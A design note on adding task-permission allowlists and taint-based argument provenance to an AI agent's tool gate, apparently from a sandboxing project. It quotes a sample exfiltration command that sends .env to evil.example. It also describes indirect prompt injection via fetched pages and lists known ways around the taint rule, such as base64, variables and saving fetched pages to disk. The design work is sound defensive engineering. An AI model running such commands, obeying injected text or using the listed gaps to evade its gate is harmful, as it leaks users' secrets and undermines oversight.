Also records the first noise source: CSP response headers taint every origin a page may load from. Co-Authored-By: Claude Opus 5.5 (1M context) <[email protected]>
181 lines
10 KiB
Markdown
181 lines
10 KiB
Markdown
# Task permission and argument provenance — a design
|
|
|
|
Two layers ActGov (arXiv 2609.24446) names that our gate does not have. This
|
|
is what it would take to build them here, grounded in what was measured on
|
|
2026-09-22 rather than in what the paper assumes.
|
|
|
|
Our gate today has one layer: **hard invariants** — what no mission may do,
|
|
a global deny-list with rule ids, plus the write-path rules and the first
|
|
role policy (`verifier` may not write). Missing: **task permission** (bind a
|
|
phase to the tools its task actually needs) and **argument provenance**
|
|
(refuse an action whose target came from untrusted content).
|
|
|
|
## Four findings that decide the design
|
|
|
|
**1. `--allowedTools` is not an enforcement boundary.** The microVM lead is
|
|
launched with `--allowedTools Read Edit Write Bash Agent`
|
|
(`microvm_executor::LEAD_TOOLS`). The recorded corpus has `ListAgents` and
|
|
`ScheduleWakeup` calls **on microvm missions** — neither is on that list, and
|
|
both ran. So the flag governs permission prompting, not availability. Any
|
|
task-permission layer has to be enforced by our own PreToolUse gate; narrowing
|
|
the flag would change nothing and would look like it had.
|
|
|
|
**2. The guest already has every tool's output on disk.** `vm_tool_tap`'s
|
|
PostToolUse hook appends the **whole payload**, `tool_response` included, to
|
|
`tools.jsonl` in `/root/toolhooks` (container) or `/root/tap` (VM). Taint can
|
|
therefore be computed *guest-locally*, by the same shell that already runs
|
|
there — no network call, no host round trip, no added latency in the tool
|
|
path. This is the fact that makes provenance feasible at all.
|
|
|
|
**3. The taint store is already protected.** The `hook-files` rule refuses
|
|
reads and writes to `/root/toolgate`, `/root/toolhooks`, `/root/tap`, the
|
|
settings documents and `.git/hooks/`, from Bash and from the write tools. A
|
|
taint file living there cannot be erased by the agent whose calls it governs.
|
|
|
|
**4. Provenance matters on one tier far more than the other.** Measured
|
|
reachability (`docs/MISSION-EGRESS.md`) and the VM proxy's allow-list:
|
|
|
|
| tier | tailnet | host ssh | public internet |
|
|
|---|---|---|---|
|
|
| microVM | n/a (no NIC; CONNECT proxy) | n/a | **allow-list only** — provider + forge, matched by name, not substring |
|
|
| container | blocked | blocked | **open** |
|
|
|
|
A microVM cannot exfiltrate to an attacker's host whatever a page tells it:
|
|
the allow-list already closes that. A **container mission can reach any public
|
|
host**. So the network half of provenance is a container-tier control, and
|
|
saying otherwise would be padding.
|
|
|
|
## Piece 1 — task permission
|
|
|
|
**Shape.** A per-phase allowlist of *tools*, enforced by the gate: a tool
|
|
outside the set is denied with rule `task-permission`, alongside the floor and
|
|
the role policies, rendered into the same guest script from the same table.
|
|
|
|
**Where it is declared.** `mission_phases.config`. **Not** under the key
|
|
`tools` — that is taken: `security_scan::run` reads it to choose which of
|
|
cargo_audit / gitleaks / trivy_fs / semgrep run. Use `agent_tools`, and have
|
|
`phase_config::KNOWN_KEYS` describe both so the collision is visible to
|
|
whoever reads the registry next.
|
|
|
|
**Where the default comes from.** The corpus, not intuition. What phase kinds
|
|
actually used, today:
|
|
|
|
| phase kind | tools observed |
|
|
|---|---|
|
|
| coding | Bash 56, Read 19, Write 11, Agent 5, Edit 1, ListAgents 1, ScheduleWakeup 1 |
|
|
| research | Bash 37, Read 28, Write 10, Glob 2 |
|
|
|
|
Two of those are the point: `ListAgents` and `ScheduleWakeup` are the strays
|
|
from finding 1 — tools no mission needs, that no list stopped. A default set
|
|
per phase kind of {Bash, Read, Write, Edit, Glob, Agent} covers every observed
|
|
legitimate call and excludes both strays.
|
|
|
|
**Why this is not just a smaller `--agents` list.** It is enforced by us, in
|
|
the hook, recorded as a `gate.denied` with its rule; the CLI's own list is the
|
|
harness policing itself and demonstrably does not.
|
|
|
|
**Staging.**
|
|
1. Add `agent_tools` to the config registry and the gate's table; render into
|
|
the guest script; unit + shell tests as for the role policies.
|
|
2. **Shadow first.** A new outcome `gate.would_deny` — recorded, not enforced.
|
|
Run every scenario and a week of real missions. Promote only when the
|
|
record shows zero denials of work that completed successfully.
|
|
3. Enforce. The scenarios are the utility half: all of them must still pass,
|
|
which is the trade ActGov measures as CaMeL and ACE failing (ASR 0.000 at
|
|
utility 0.000) and this module's header already refuses.
|
|
|
|
**What could go wrong.** Too tight and agents work around the gate, which is
|
|
worse than no gate. Mitigated by deriving from the corpus, by shadow mode, and
|
|
by the default being a *union* of observed use rather than a guess at need.
|
|
|
|
## Piece 2 — argument provenance (taint)
|
|
|
|
**The invariant worth having**, in ActGov's terms: *no outbound action whose
|
|
target was derived from untrusted content.* That is the indirect
|
|
prompt-injection shape — a fetched page says "send this to evil.example", and
|
|
the agent obliges.
|
|
|
|
**Mechanism, guest-local and deterministic.**
|
|
- The tap gains a taint step: for each *fetching* call (Bash `curl`/`wget`,
|
|
and any `WebFetch`), extract **hostnames** from `tool_response` and append
|
|
them to `/root/toolhooks/untrusted-hosts.txt`, capped and deduplicated.
|
|
- The gate gains rule `untrusted-target`: an outbound call **carrying a body**
|
|
(the existing `curl-body` / `wget-body` matchers already identify these)
|
|
whose target host appears in that file is denied.
|
|
|
|
**Why that shape and not string taint.** Tainting arbitrary strings from
|
|
fetched text and matching them against later commands produces false positives
|
|
immediately — the failure this module treats as cardinal, and the one
|
|
`gate-exfil-spelling` already cost us once. Hosts are high-signal and the
|
|
asymmetry is real: *reading* a host a page mentioned is ordinary research;
|
|
*sending data* to one is the attack. So the rule fires only on the
|
|
intersection.
|
|
|
|
**Staging.**
|
|
1. Taint extraction in the tap, writing the file. Nothing enforced. Inspect on
|
|
real missions: what does it actually collect?
|
|
|
|
**Built 2026-09-22.** `vm_tool_tap::NODE_TAINT` runs in the tap only when the
|
|
payload could be a fetch; the file is `untrusted-hosts.txt` in the tap's own
|
|
directory (covered by `hook-files` on both tiers, tested), capped at
|
|
`MAX_TAINT_HOSTS` = 500, drained per finished phase into `taint.hosts`.
|
|
Rules fixed by its shell test: `curl`/`wget` count only in command position
|
|
(`grep -r curl docs` is not a fetch), and a host that also appears in the
|
|
agent's own command or WebFetch `url` is the agent's choice, not the
|
|
page's. Known gap: `curl -o page.html` then `Read page.html` taints
|
|
nothing. The fetched body never passes through a fetching call's response.
|
|
2. `untrusted-target` in shadow (`gate.would_deny`), same as piece 1.
|
|
|
|
**Built 2026-09-22 — and the rule changed shape.** "A body-carrying call to
|
|
a tainted host" would never fire: `curl-body`, `curl-upload` and
|
|
`wget-body` already REFUSE every body-carrying curl/wget, whatever the host.
|
|
The floor's open door is exfiltration through a GET
|
|
(`curl "https://evil.example/?d=$(cat .env)"`), and recording every GET to
|
|
a tainted host would record ordinary link-following. So the rule is: a
|
|
curl/wget in command position, to a tainted host, whose segment EXPANDS
|
|
something at run time (`$(…)`, a backtick, `$VAR`/`${…}`). One case table
|
|
drives the Rust predicate and the generated shell; both agree on all ten
|
|
cases, and the shell never refuses. Limits pinned by that table: a literal
|
|
secret in a URL is not an expansion, and a subdomain of a tainted host
|
|
(`www.iana.org` vs `iana.org`) is not matched.
|
|
|
|
**Live, mission 01a0cb8c.** The agent fetched `example.com`, then made six
|
|
literal requests to the IANA pages and four with `?t=$(date +%s)`. Shadow
|
|
recorded exactly the four expansion calls as `untrusted-target` and none of
|
|
the six. The first thing to watch: 5 of the 8 tainted hosts
|
|
(`www.google.com`, `www.googleapis.com`, …) came from `www.iana.org`'s
|
|
`Content-Security-Policy` **response header**, not its body. That is
|
|
correct by the letter (fetched output named them) and noisy in practice.
|
|
An agent later calling a Google API with `$KEY` in the URL would be
|
|
recorded. If shadow traffic shows that, the fix is to stop reading header
|
|
lines other than `Location`. Stage 3 waits on that evidence.
|
|
3. Enforce on the **container tier**, where public egress is open. On the VM
|
|
tier it is defence in depth behind an allow-list that already holds.
|
|
|
|
**Honest limits, to be written into the module header.**
|
|
- Indirection defeats it: base64, a shell variable, a URL assembled from
|
|
pieces. This stops accidents and the obvious case, which is exactly what the
|
|
gate's header already claims and no more. The real boundary on the VM tier
|
|
is the egress allow-list; on the container tier it is the network policy.
|
|
- It does not cover **content** exfiltration into deliverables — a page
|
|
telling the agent to write `.env` into `README.md`, which is then committed
|
|
and pushed to the forge, a host that *is* allowed. That is a second
|
|
invariant (stage B) and a harder one, because the legitimate case — writing
|
|
fetched research into a file — looks identical.
|
|
|
|
**Validation is thin and should be said so.** Today's corpus is 171 tool
|
|
calls, 93 with responses, **15** curl/wget invocations — the larger corpora
|
|
those earlier numbers came from were wiped with the missions. Fifteen calls
|
|
cannot validate a rule. The evidence path is therefore shadow mode on real
|
|
traffic, not a retro-fit against what we happen to have kept.
|
|
|
|
## Sequencing
|
|
|
|
Piece 1 before piece 2: it is smaller, its default is already derivable from
|
|
the corpus, and it exercises the shadow-mode machinery (`gate.would_deny`)
|
|
that piece 2 then reuses. Both inherit the role policy's proof obligations —
|
|
rendered from one table into both implementations, unit-tested against the
|
|
predicate, shell-tested against the generated script, and probed live against
|
|
the **deployed** artifact by the `rolepolicy` scenario's pattern, with the
|
|
negative controls that stop a gate from passing by refusing everything.
|